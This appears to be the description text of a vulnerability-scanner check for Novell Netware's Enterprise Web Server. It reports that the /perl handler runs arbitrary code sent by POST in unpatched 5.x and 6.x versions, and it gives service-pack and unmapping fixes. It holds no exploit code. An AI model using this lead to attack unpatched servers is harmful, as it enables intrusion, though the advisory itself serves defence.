Novell Netware contains multiple default web server installations.  
The Netware Enterprise Web Server (Netscape/IPlanet) has a perl 
handler which will run arbitrary code given to in a POST request 
version 5.x (through SP4) and 6.x (through SP1) are effected.

Risk factor : High

Solution : Install 5.x SP5 or 6.0 SP2

Additionally, the enterprise manager web interface may be used to
unmap the /perl handler entirely.  If it is not being used, minimizing
this service would be appropriate.";
